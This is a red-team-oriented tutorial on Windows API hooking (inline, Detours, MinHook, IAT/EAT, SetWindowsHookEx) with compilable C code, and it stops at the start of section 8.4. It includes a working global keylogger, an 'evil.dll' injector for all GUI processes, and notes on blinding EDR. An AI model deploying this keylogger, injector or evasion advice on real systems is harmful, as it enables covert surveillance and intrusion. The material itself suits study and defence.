Legend:
[HOOK]= Hooking technique |[TOOL]= Tool / library |[CODE]= Code implementation |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass / counter-detection |[WIN-API]= Windows API reference |[RING]= Privilege ring context
1. What is API Hooking & Why It Matters
What it means: API hooking is the technique of intercepting function calls at runtime to observe, modify, redirect, or block them. The hook sits between the caller and the real function — anything the caller sends goes through your code first.
Who uses it and why:
DEFENDERS (EDR / AV):
├─ Hook NtAllocateVirtualMemory → inspect all memory allocations
├─ Hook NtCreateThreadEx → catch shellcode injection
├─ Hook CreateProcess → monitor child process creation
├─ Hook WriteProcessMemory → catch code injection attempts
└─ Hook AmsiScanBuffer → scan content before execution
ATTACKERS / RED TEAMS:
├─ Hook functions to hide malicious activity
├─ Hook to intercept credentials (e.g., LogonUserW)
├─ Hook to bypass AMSI / ETW / EDR detection
├─ Hook for keylogging (SetWindowsHookEx WH_KEYBOARD)
└─ Hook to redirect execution to shellcode
The core hooking model:
Normal flow (no hook):
Caller → Win32 API (kernel32.dll) → Native API (ntdll.dll) → Kernel
Hooked flow:
Caller → Win32 API → [HOOK INTERCEPTS HERE] → Hook Function
↓
(log / modify / block)
↓
→ Original Function (trampoline)
↓
→ Kernel
Hook types by layer:
| Layer | Ring | Where Hooked | Examples |
|---|---|---|---|
| Win32 API | Ring 3 | kernel32 / user32 functions | CreateFile, MessageBoxA |
| Native API | Ring 3 | ntdll.dll Nt / Zw stubs | NtAllocateVirtualMemory |
| Kernel | Ring 0 | SSDT, IDT, kernel code | NtCreateProcess (kernel) |
| Message | Ring 3 | Windows message loop | SetWindowsHookEx (WH_*) |
| Exception | Ring 3 | VEH / SEH chain | Hardware breakpoints |
2. Windows API Call Chain — How Calls Flow
Understanding the call chain is essential for knowing where to place a hook.
Application Code
│
▼
High-Level Win32 API (kernel32.dll / user32.dll / advapi32.dll)
e.g., CreateFile, VirtualAlloc, MessageBoxA
│ (these are thin wrappers)
▼
Native API Stubs (ntdll.dll) — Nt* / Zw* functions
e.g., NtCreateFile, NtAllocateVirtualMemory
│
│ [EDR hooks are usually placed HERE — user mode]
│
▼
SYSCALL instruction (transitions to kernel mode Ring 0)
│
▼
SSDT (System Service Descriptor Table) — kernel function pointer table
│
▼
Kernel-mode function (ntoskrnl.exe)
e.g., NtCreateFile (kernel implementation)
│
▼
Hardware / Driver layer
Key insight for red teams:
EDR typically hooks ntdll.dll in user-mode.
If you:
→ Hook before EDR → EDR never sees the call
→ Bypass ntdll → EDR is blind (direct syscalls)
→ Unhook ntdll → Removes EDR's visibility entirely
[OPSEC] The closer your hook is to the metal (syscall layer), the harder it is for EDR to detect or intercept.
3. Inline Hooking (Trampoline / Detour)
[HOOK] The most common and widely-used hooking method. Overwrites the first 5–14 bytes of the target function with a JMP instruction that redirects execution to your hook function. The original bytes are saved in a "trampoline" so the original function can still be called.
3.1 How Inline Hooking Works
BEFORE hook:
Target function (MessageBoxA):
0x77AB1234: 48 83 EC 28 sub rsp, 0x28 ← original prologue
0x77AB1238: 48 8B 05 ... mov rax, [rip+...]
0x77AB123C: ...
AFTER hook installed:
Target function (MessageBoxA):
0x77AB1234: E9 CC BB AA 77 JMP 0x77AABBCC ← overwritten → your hook
0x77AB1238: ... (remaining original bytes)
Trampoline (saved prologue + JMP back):
0xXXXXXXXX: 48 83 EC 28 (original bytes 1–5)
0xXXXXXXXX: 48 8B 05 ... (original bytes 6–14 — enough to be complete instructions)
0xXXXXXXXX: E9 ?? ?? ?? ?? JMP 0x77AB1239 ← jump back past the patch
x64 JMP mechanics:
Near JMP (5 bytes, within ±2GB):
E9 XX XX XX XX (rel32 offset)
Far JMP (14 bytes, full 64-bit address):
FF 25 00 00 00 00 JMP [rip+0]
XX XX XX XX XX XX XX XX (absolute 64-bit address)
→ Required when hook function is > 2GB away from target
3.2 Manual Inline Hook — x64 C Implementation
// inline_hook.c — Manual 64-bit inline hook (no library)
// Hooks MessageBoxW and intercepts arguments before calling original
#include <Windows.h>
#include <stdio.h>
// ── Type definitions ──────────────────────────────────────────
typedef int (WINAPI *fpMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
// ── Globals ───────────────────────────────────────────────────
fpMessageBoxW pOriginalMessageBoxW = NULL;
BYTE g_OriginalBytes[14] = {0}; // saved prologue bytes
BOOL g_Hooked = FALSE;
// ── Our hook function (called instead of MessageBoxW) ─────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
LPCWSTR lpCaption, UINT uType) {
wprintf(L"[HOOK] MessageBoxW intercepted!\n");
wprintf(L"[HOOK] Text: %ls\n", lpText);
wprintf(L"[HOOK] Caption: %ls\n", lpCaption);
// Optional: modify arguments before calling original
// lpText = L"Hooked!";
// Call the original via trampoline
return pOriginalMessageBoxW(hWnd, lpText, lpCaption, uType);
}
// ── Install hook using 14-byte far JMP (x64-safe) ─────────────
BOOL InstallHook(LPCSTR moduleName, LPCSTR funcName, PVOID hookFunc) {
// Get address of target function
HMODULE hMod = GetModuleHandleA(moduleName);
if (!hMod) hMod = LoadLibraryA(moduleName);
PVOID pFunc = GetProcAddress(hMod, funcName);
if (!pFunc) return FALSE;
// Save original bytes (14 bytes for far JMP)
memcpy(g_OriginalBytes, pFunc, sizeof(g_OriginalBytes));
// Build 14-byte far JMP: FF 25 00000000 + [8-byte address]
BYTE patch[14] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // JMP [rip+0]
0x00, 0x00, 0x00, 0x00, // address bytes (low DWORD)
0x00, 0x00, 0x00, 0x00 // address bytes (high DWORD)
};
*(ULONG_PTR*)(patch + 6) = (ULONG_PTR)hookFunc;
// Make memory writable
DWORD oldProtect;
VirtualProtect(pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
// Write the JMP patch
memcpy(pFunc, patch, sizeof(patch));
// Restore memory protection
VirtualProtect(pFunc, sizeof(patch), oldProtect, &oldProtect);
g_Hooked = TRUE;
printf("[+] Hook installed on %s!%s at 0x%p\n", moduleName, funcName, pFunc);
return TRUE;
}
// ── Remove hook (restore original bytes) ──────────────────────
BOOL RemoveHook(LPCSTR moduleName, LPCSTR funcName) {
HMODULE hMod = GetModuleHandleA(moduleName);
PVOID pFunc = GetProcAddress(hMod, funcName);
if (!pFunc) return FALSE;
DWORD oldProtect;
VirtualProtect(pFunc, sizeof(g_OriginalBytes), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pFunc, g_OriginalBytes, sizeof(g_OriginalBytes));
VirtualProtect(pFunc, sizeof(g_OriginalBytes), oldProtect, &oldProtect);
g_Hooked = FALSE;
printf("[+] Hook removed from %s!%s\n", moduleName, funcName);
return TRUE;
}
// ── Test ──────────────────────────────────────────────────────
int main(void) {
// Save pointer to trampoline (original function bytes)
pOriginalMessageBoxW = (fpMessageBoxW)MessageBoxW;
// Install hook
InstallHook("user32.dll", "MessageBoxW", HookedMessageBoxW);
// This call now hits our hook
MessageBoxW(NULL, L"Hello World", L"Test", MB_OK);
// Remove hook
RemoveHook("user32.dll", "MessageBoxW");
// This call now goes to real MessageBoxW
MessageBoxW(NULL, L"Hello World", L"Test", MB_OK);
return 0;
}
Compile:
# MSVC
cl.exe inline_hook.c /Fe:inline_hook.exe /link user32.lib
# MinGW cross-compile
x86_64-w64-mingw32-gcc inline_hook.c -o inline_hook.exe -luser32
3.3 Trampoline — Proper Implementation
The simple pointer trick above (pOriginalMessageBoxW = MessageBoxW) does not create a real trampoline — it still points to the overwritten JMP. A real trampoline copies the displaced bytes to allocated executable memory:
// Proper trampoline allocation
PVOID CreateTrampoline(PVOID pTarget, BYTE* savedBytes, SIZE_T savedLen) {
// Allocate executable memory for trampoline
PVOID pTrampoline = VirtualAlloc(NULL, savedLen + 14,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pTrampoline) return NULL;
// Copy original displaced bytes into trampoline
memcpy(pTrampoline, savedBytes, savedLen);
// Build JMP back to target+savedLen (resume execution after patch)
BYTE jmpBack[14] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
*(ULONG_PTR*)(jmpBack + 6) = (ULONG_PTR)((BYTE*)pTarget + savedLen);
memcpy((BYTE*)pTrampoline + savedLen, jmpBack, sizeof(jmpBack));
return pTrampoline;
}
// pTrampoline now acts as a safe "call original" function pointer
[DETECT] Inline hooks are detectable by integrity checks that hash or scan the first bytes of functions. EDRs often periodically re-scan function prologues looking for E9 or FF 25 patterns.
4. Microsoft Detours Library
[TOOL] Detours is Microsoft Research's official x86/x64/ARM hook library. It handles trampoline creation, instruction boundary alignment, and thread safety atomically. Production-grade and used by both offensive and defensive tools.
GitHub: https://github.com/microsoft/Detours
NuGet: Microsoft.Detours
4.1 Install Detours
# vcpkg (recommended)
.\vcpkg\vcpkg install detours:x64-windows
# Or build from source
git clone https://github.com/microsoft/Detours
cd Detours
nmake # MSVC required
# Output: lib.X64/detours.lib and include/detours.h
4.2 Detours Hook — Basic Example
// detours_hook.c — Hook MessageBoxW using Microsoft Detours
#include <Windows.h>
#include <detours.h>
#include <stdio.h>
#pragma comment(lib, "detours.lib")
#pragma comment(lib, "user32.lib")
// ── Pointer to original function (Detours updates this) ───────
static int (WINAPI *TrueMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT)
= MessageBoxW;
// ── Hook function ─────────────────────────────────────────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
LPCWSTR lpCaption, UINT uType) {
wprintf(L"[DETOUR] MessageBoxW intercepted!\n");
wprintf(L"[DETOUR] Text: %ls\n", lpText);
wprintf(L"[DETOUR] Caption: %ls\n", lpCaption);
// Call original via trampoline (Detours sets this up automatically)
return TrueMessageBoxW(hWnd, lpText, lpCaption, uType);
}
// ── Install hook ──────────────────────────────────────────────
void HookInstall(void) {
DetourTransactionBegin(); // start atomic transaction
DetourUpdateThread(GetCurrentThread()); // ensure thread safety
DetourAttach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
LONG result = DetourTransactionCommit(); // apply all hooks atomically
if (result == NO_ERROR)
printf("[+] Detours hook installed\n");
else
printf("[-] Detours hook failed: %ld\n", result);
}
// ── Remove hook ───────────────────────────────────────────────
void HookRemove(void) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
DetourTransactionCommit();
printf("[+] Detours hook removed\n");
}
int main(void) {
HookInstall();
MessageBoxW(NULL, L"Before unhook", L"Test", MB_OK);
HookRemove();
MessageBoxW(NULL, L"After unhook", L"Test", MB_OK);
return 0;
}
4.3 Hooking Multiple Functions in One Transaction
// Hook multiple functions atomically — all succeed or all fail
static HANDLE (WINAPI *TrueCreateFileW)(LPCWSTR, DWORD, DWORD,
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = CreateFileW;
static BOOL (WINAPI *TrueWriteFile)(HANDLE, LPCVOID, DWORD,
LPDWORD, LPOVERLAPPED) = WriteFile;
HANDLE WINAPI HookedCreateFileW(LPCWSTR lpFileName, DWORD dwAccess,
DWORD dwShare, LPSECURITY_ATTRIBUTES lpSA, DWORD dwCreate,
DWORD dwFlags, HANDLE hTemplate) {
wprintf(L"[HOOK] CreateFileW: %ls\n", lpFileName);
return TrueCreateFileW(lpFileName, dwAccess, dwShare,
lpSA, dwCreate, dwFlags, hTemplate);
}
BOOL WINAPI HookedWriteFile(HANDLE hFile, LPCVOID lpBuffer,
DWORD nBytes, LPDWORD lpWritten, LPOVERLAPPED lpOverlapped) {
printf("[HOOK] WriteFile: %lu bytes\n", nBytes);
return TrueWriteFile(hFile, lpBuffer, nBytes, lpWritten, lpOverlapped);
}
void InstallMultipleHooks(void) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueCreateFileW, HookedCreateFileW);
DetourAttach(&(PVOID&)TrueWriteFile, HookedWriteFile);
DetourTransactionCommit(); // atomic — either both or neither installed
}
4.4 Detours DLL Injection via withdll.exe
# withdll.exe ships with Detours
# Launches a process with a DLL injected that uses Detours hooks
withdll.exe /d:hook.dll target.exe
# hook.dll contains DllMain that calls DetourAttach in DLL_PROCESS_ATTACH
// hook.dll — DllMain-based Detours hook for injection
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpRes) {
if (dwReason == DLL_PROCESS_ATTACH) {
DetourRestoreAfterWith(); // restore pre-injection state (Detours compat)
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
DetourTransactionCommit();
}
if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
DetourTransactionCommit();
}
return TRUE;
}
[OPSEC] DetourRestoreAfterWith() must be called when injecting via withdll.exe. It restores the payload section that Detours modifies during injection.
5. MinHook Library
[TOOL] MinHook is a minimalistic x86/x64 hook library with a clean API. No transaction complexity — just MH_CreateHook, MH_EnableHook, MH_DisableHook. Also supports ARM64 via the MinHook-Detours fork.
GitHub: https://github.com/TsudaKageyu/minhook
Latest version: v1.3.4 (March 2025) — Visual Studio 2022, CMake, Clang support
5.1 Install MinHook
# vcpkg
.\vcpkg\vcpkg install minhook
# Or manually: download minhook.h + minhook.lib from GitHub releases
# Link: minhook.lib
5.2 MinHook — Basic Hook
// minhook_hook.c — Hook MessageBoxW using MinHook
#include <Windows.h>
#include <MinHook.h>
#include <stdio.h>
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "user32.lib")
// ── Function pointer type ─────────────────────────────────────
typedef int (WINAPI *LPFN_MessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
// ── Pointer to original (trampoline) — MinHook fills this in ──
LPFN_MessageBoxW g_fpOriginalMessageBoxW = NULL;
// ── Hook function ─────────────────────────────────────────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
LPCWSTR lpCaption, UINT uType) {
wprintf(L"[MINHOOK] Intercepted! Text: %ls\n", lpText);
// Call original through trampoline
return g_fpOriginalMessageBoxW(hWnd, L"Hooked by MinHook!", lpCaption, uType);
}
int main(void) {
// Initialize MinHook engine
if (MH_Initialize() != MH_OK) {
printf("[-] MH_Initialize failed\n");
return 1;
}
// Create hook: target | detour | trampoline pointer
if (MH_CreateHook(&MessageBoxW, &HookedMessageBoxW,
(LPVOID*)&g_fpOriginalMessageBoxW) != MH_OK) {
printf("[-] MH_CreateHook failed\n");
return 1;
}
// Enable the hook
if (MH_EnableHook(&MessageBoxW) != MH_OK) {
printf("[-] MH_EnableHook failed\n");
return 1;
}
printf("[+] Hook enabled\n");
MessageBoxW(NULL, L"Test Message", L"Test", MB_OK); // → hooked
// Disable hook
MH_DisableHook(&MessageBoxW);
printf("[+] Hook disabled\n");
MessageBoxW(NULL, L"Test Message", L"Test", MB_OK); // → original
// Uninitialize
MH_Uninitialize();
return 0;
}
5.3 MinHook — Hook by Module + Name (MH_CreateHookApiEx)
// Hook by module name and function name — no need for GetProcAddress
LPFN_MessageBoxW g_fpOriginal = NULL;
if (MH_CreateHookApiEx(L"user32", L"MessageBoxW",
&HookedMessageBoxW,
(LPVOID*)&g_fpOriginal,
NULL) != MH_OK) {
printf("[-] Failed\n");
}
MH_EnableHook(MH_ALL_HOOKS); // enable all registered hooks at once
5.4 MinHook — Hook ntdll Native API
// Hook NtAllocateVirtualMemory (ntdll)
#include <Windows.h>
#include <MinHook.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *fpNtAllocVirtMem)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
fpNtAllocVirtMem g_fpOriginalNtAlloc = NULL;
NTSTATUS NTAPI HookedNtAllocateVirtualMemory(
HANDLE ProcessHandle, PVOID* BaseAddress,
ULONG_PTR ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect) {
printf("[HOOK] NtAllocateVirtualMemory — PID: %lu | Size: %zu | Protect: 0x%X\n",
GetProcessId(ProcessHandle), *RegionSize, Protect);
// Block RWX allocations (common shellcode pattern)
if (Protect == PAGE_EXECUTE_READWRITE) {
printf("[BLOCK] RWX allocation blocked!\n");
return STATUS_ACCESS_DENIED;
}
return g_fpOriginalNtAlloc(ProcessHandle, BaseAddress,
ZeroBits, RegionSize, AllocationType, Protect);
}
void HookNtdll(void) {
MH_Initialize();
MH_CreateHookApiEx(L"ntdll", L"NtAllocateVirtualMemory",
&HookedNtAllocateVirtualMemory,
(LPVOID*)&g_fpOriginalNtAlloc, NULL);
MH_EnableHook(MH_ALL_HOOKS);
}
[DETECT] MinHook writes a JMP into the function prologue just like manual inline hooking. EDR integrity scanners will detect the E9/FF25 bytes.
6. IAT Hooking (Import Address Table)
[HOOK] IAT hooking modifies the Import Address Table of the calling module. Instead of patching the function itself, it replaces the function pointer in the IAT — so when the target module calls MessageBoxW, the pointer in its IAT now points to your hook. The function code in user32.dll is never touched.
6.1 PE Structure — IAT Location
PE File Structure:
┌────────────────────────────────────────┐
│ DOS Header (IMAGE_DOS_HEADER) │
│ PE Header (IMAGE_NT_HEADERS) │
│ Optional Header → DataDirectory[1] │ ← Import Directory
│ → IMAGE_IMPORT_DESCRIPTOR[] │
│ │ │
│ ├─ Name: "user32.dll" │
│ ├─ OriginalFirstThunk → INT │ (Import Name Table)
│ └─ FirstThunk → IAT │ ← WRITE YOUR HOOK HERE
│ │ │
│ └─ [0]: addr of MessageBoxW
│ └─ [1]: addr of CreateWindowExW
│ └─ ... │
└────────────────────────────────────────┘
IAT entry BEFORE load: 0x00000000 (filled by loader)
IAT entry AFTER load: 0x77AB1234 (real MessageBoxW in user32.dll)
IAT entry AFTER hook: 0xXXXXXXXX (your hook function address)
6.2 IAT Hook — Full C Implementation
// iat_hook.c — Hook MessageBoxA in a target process via IAT manipulation
#include <Windows.h>
#include <stdio.h>
// ── Our hook function ─────────────────────────────────────────
int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText,
LPCSTR lpCaption, UINT uType) {
printf("[IAT HOOK] MessageBoxA intercepted!\n");
printf("[IAT HOOK] Text: %s\n", lpText);
// Call real function directly (not through IAT — avoids re-hooking)
return ((int(WINAPI*)(HWND,LPCSTR,LPCSTR,UINT))
GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA"))
(hWnd, lpText, lpCaption, uType);
}
// ── Walk the IAT and replace function pointer ─────────────────
BOOL HookIAT(HMODULE hModule, // module whose IAT to patch
LPCSTR targetDll, // e.g. "user32.dll"
LPCSTR targetFunc, // e.g. "MessageBoxA"
PVOID hookFunc) { // replacement function
// Base address of the module
DWORD_PTR baseAddr = (DWORD_PTR)hModule;
// Parse PE headers
PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)baseAddr;
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(baseAddr + pDOS->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR pImport =
(PIMAGE_IMPORT_DESCRIPTOR)(baseAddr +
pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
// Walk import descriptors (one per imported DLL)
for (; pImport->Name != 0; pImport++) {
LPCSTR importedDll = (LPCSTR)(baseAddr + pImport->Name);
// Case-insensitive match on DLL name
if (_stricmp(importedDll, targetDll) != 0)
continue;
// Walk the IAT (FirstThunk) and INT (OriginalFirstThunk) in parallel
PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(baseAddr + pImport->OriginalFirstThunk);
PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(baseAddr + pImport->FirstThunk);
for (; pINT->u1.Function != 0; pINT++, pIAT++) {
// Skip ordinal imports
if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal))
continue;
// Get the function name from INT
PIMAGE_IMPORT_BY_NAME pIBN =
(PIMAGE_IMPORT_BY_NAME)(baseAddr + pINT->u1.AddressOfData);
if (strcmp((LPCSTR)pIBN->Name, targetFunc) != 0)
continue;
// Found — change memory protection and overwrite IAT pointer
DWORD oldProtect;
VirtualProtect(&pIAT->u1.Function,
sizeof(DWORD_PTR), PAGE_READWRITE, &oldProtect);
pIAT->u1.Function = (DWORD_PTR)hookFunc;
VirtualProtect(&pIAT->u1.Function,
sizeof(DWORD_PTR), oldProtect, &oldProtect);
printf("[+] IAT hook installed: %s!%s @ 0x%p\n",
targetDll, targetFunc, &pIAT->u1.Function);
return TRUE;
}
}
printf("[-] Function %s!%s not found in IAT\n", targetDll, targetFunc);
return FALSE;
}
int main(void) {
// Hook MessageBoxA in the current process's own IAT
HMODULE hSelf = GetModuleHandle(NULL); // NULL = current executable
HookIAT(hSelf, "user32.dll", "MessageBoxA", HookedMessageBoxA);
// Now calls from THIS module go through our hook
MessageBoxA(NULL, "Hello!", "Test", MB_OK);
return 0;
}
Compile:
cl.exe iat_hook.c /Fe:iat_hook.exe /link user32.lib
6.3 IAT Hook Notes
Scope: Only hooks calls FROM the module whose IAT is patched
(does NOT affect calls from other modules)
Detection: EDR scanners walk the IAT and check that every pointer
lands inside its expected module's memory range.
Tools: PE-sieve, pe-bear
OPSEC: IAT hook does not modify function code → no E9 patch
→ Survives function integrity checks
→ But FAILS if the target module resolves the function
dynamically (GetProcAddress) instead of via IAT
7. EAT Hooking (Export Address Table)
[HOOK] EAT hooking modifies the Export Address Table of a DLL so that when any module calls GetProcAddress on a function in that DLL, it gets your hook address instead of the real one. Affects all callers that use GetProcAddress at runtime.
7.1 EAT Hook — C Implementation
// eat_hook.c — Modify the EAT of user32.dll to redirect MessageBoxA
#include <Windows.h>
#include <stdio.h>
int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText,
LPCSTR lpCaption, UINT uType) {
printf("[EAT HOOK] MessageBoxA via GetProcAddress intercepted!\n");
return 0;
}
BOOL HookEAT(HMODULE hModule, LPCSTR targetFunc, PVOID hookFunc) {
DWORD_PTR base = (DWORD_PTR)hModule;
PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(base + pDOS->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExport =
(PIMAGE_EXPORT_DIRECTORY)(base +
pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// Arrays in the EAT
DWORD* pFunctions = (DWORD*)(base + pExport->AddressOfFunctions);
DWORD* pNames = (DWORD*)(base + pExport->AddressOfNames);
WORD* pOrdinals = (WORD*)( base + pExport->AddressOfNameOrdinals);
// Walk the name table
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
LPCSTR funcName = (LPCSTR)(base + pNames[i]);
if (strcmp(funcName, targetFunc) != 0) continue;
// Get index into function table via ordinal array
WORD ordinal = pOrdinals[i];
DWORD* pFuncRVA = &pFunctions[ordinal];
// Calculate hook's RVA relative to module base
DWORD hookRVA = (DWORD)((DWORD_PTR)hookFunc - base);
// Write hook RVA into the EAT
DWORD oldProtect;
VirtualProtect(pFuncRVA, sizeof(DWORD), PAGE_READWRITE, &oldProtect);
*pFuncRVA = hookRVA;
VirtualProtect(pFuncRVA, sizeof(DWORD), oldProtect, &oldProtect);
printf("[+] EAT hook installed: %s (ordinal %d) → 0x%p\n",
targetFunc, ordinal, hookFunc);
return TRUE;
}
return FALSE;
}
// Note: hookFunc must be in the same module as hModule for RVA to be valid
// In practice, use a shellcode/code cave in the DLL or inject your DLL first
[OPSEC] EAT hooking requires the hook function to be within the same module (or at least within 32-bit RVA range). Best used in combination with DLL injection — inject your DLL, then patch the EAT of the target DLL from within it.
8. SetWindowsHookEx — Windows Message Hooks
[WIN-API] SetWindowsHookEx installs a hook into the Windows message processing chain. It can intercept keyboard events, mouse events, window creation/destruction, and more — system-wide or per-thread. It also serves as a classic DLL injection vector.
Syntax:
HHOOK SetWindowsHookExW(
int idHook, // Hook type (WH_KEYBOARD, WH_MOUSE, etc.)
HOOKPROC lpfn, // Pointer to hook procedure
HINSTANCE hmod, // Handle to DLL containing lpfn (NULL for thread-only)
DWORD dwThreadId // 0 = global (all threads), or specific thread ID
);
8.1 Hook Types Reference
| Hook ID | Value | Intercepts | Scope |
|---|---|---|---|
WH_KEYBOARD |
2 | WM_KEYDOWN / WM_KEYUP (message queue) | Thread or global |
WH_KEYBOARD_LL |
13 | Low-level keyboard input (before message queue) | Global only |
WH_MOUSE |
7 | Mouse messages from message queue | Thread or global |
WH_MOUSE_LL |
14 | Low-level mouse input | Global only |
WH_CBT |
5 | Window create/destroy/activate/move/size events | Thread or global |
WH_CALLWNDPROC |
4 | Messages sent to window procedures | Thread or global |
WH_CALLWNDPROCRET |
12 | Messages after window procedure returns | Thread or global |
WH_GETMESSAGE |
3 | Messages retrieved from message queue | Thread or global |
WH_SHELL |
10 | Shell notifications (window activation, taskbar) | Thread or global |
WH_SYSMSGFILTER |
6 | System-wide messages | Global only |
WH_FOREGROUNDIDLE |
11 | Foreground thread idle | Thread or global |
WH_DEBUG |
9 | Debugging other hooks | Thread or global |
8.2 Global Keyboard Hook (Keylogger)
// keylogger_hook.c — Global keyboard hook via SetWindowsHookExW
// Must be in a DLL for global scope (system-wide keylogging)
#include <Windows.h>
#include <stdio.h>
static HHOOK g_hKeyboardHook = NULL;
static FILE* g_logFile = NULL;
// ── Hook procedure ────────────────────────────────────────────
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
PKBDLLHOOKSTRUCT pKbd = (PKBDLLHOOKSTRUCT)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// Convert virtual key code to character
BYTE kbState[256] = {0};
GetKeyboardState(kbState);
wchar_t buf[5] = {0};
int result = ToUnicode(pKbd->vkCode, pKbd->scanCode,
kbState, buf, 4, 0);
if (result > 0) {
wprintf(L"[KEY] %ls\n", buf);
if (g_logFile) fwprintf(g_logFile, L"%ls", buf);
} else {
// Special key — log virtual key name
char keyName[64] = {0};
GetKeyNameTextA((pKbd->scanCode << 16) |
(pKbd->flags & LLKHF_EXTENDED ? 0x01000000 : 0),
keyName, sizeof(keyName));
printf("[SPECIAL] %s\n", keyName);
}
}
}
// MUST call CallNextHookEx to pass to next hook in chain
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
// ── Install global keyboard hook ──────────────────────────────
void InstallKeyboardHook(void) {
g_logFile = fopen("keys.log", "a");
// WH_KEYBOARD_LL — low-level, system-wide, no DLL injection needed
g_hKeyboardHook = SetWindowsHookExW(WH_KEYBOARD_LL,
LowLevelKeyboardProc,
NULL, // NULL for LL hooks
0); // 0 = all threads
if (g_hKeyboardHook)
printf("[+] Keyboard hook installed\n");
else
printf("[-] Failed: %lu\n", GetLastError());
}
int main(void) {
InstallKeyboardHook();
// Message loop required — LL hooks need a pump
MSG msg;
printf("[*] Listening... Press Ctrl+C to stop\n");
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(g_hKeyboardHook);
if (g_logFile) fclose(g_logFile);
return 0;
}
Compile:
cl.exe keylogger_hook.c /Fe:keyhook.exe /link user32.lib
8.3 SetWindowsHookEx as DLL Injection Vector
[HOOK] When dwThreadId = 0 (global) and hmod points to a DLL, Windows automatically injects that DLL into every process that has a GUI message loop — this is a classic DLL injection technique.
// injector.c — Use SetWindowsHookEx to inject evil.dll into all GUI processes
#include <Windows.h>
#include <stdio.h>
int main(void) {
// Load the DLL to inject
HMODULE hDll = LoadLibraryA("evil.dll");
if (!hDll) {
printf("[-] Failed to load DLL: %lu\n", GetLastError());
return 1;
}
// Get exported hook proc from the DLL
// (evil.dll must export a HOOKPROC function)
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(hDll, "HookProc");
if (!hookProc) {
printf("[-] HookProc export not found\n");
return 1;
}
// Install GLOBAL keyboard hook — Windows injects evil.dll into all GUI processes
HHOOK hHook = SetWindowsHookExW(WH_KEYBOARD,
hookProc,
hDll,
0); // 0 = all threads = DLL injection
if (!hHook) {
printf("[-] SetWindowsHookEx failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Hook installed — evil.dll injected into GUI processes\n");
printf("[*] Press any key in any GUI app to trigger...\n");
Sleep(10000); // Keep running so hook stays active
UnhookWindowsHookEx(hHook);
FreeLibrary(hDll);
return 0;
}
// evil.dll — The injected DLL (must export HookProc)
// evil_dll.c
#include <Windows.h>
__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
// Code runs inside the hooked process!
// Could spawn thread, inject shellcode, steal data, etc.
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// This runs in every injected process
MessageBoxA(NULL, "DLL Injected!", "evil.dll", MB_OK);
}
return TRUE;
}
Compile evil.dll:
# MSVC
cl.exe /LD evil_dll.c /Fe:evil.dll /link user32.lib
# MinGW
x86_64-w64-mingw32-gcc -shared evil_dll.c -o evil.dll -luser32
[DETECT] Global SetWindowsHookEx calls are logged in ETW. Process injection via this method is well-known and flagged by most EDRs. WH_KEYBOARD_LL and WH_MOUSE_LL are thread-local to the installer and do not require DLL injection.
8.4 CBT Hook — Window Event Monitoring
// WH_CBT hook — intercept window creation events
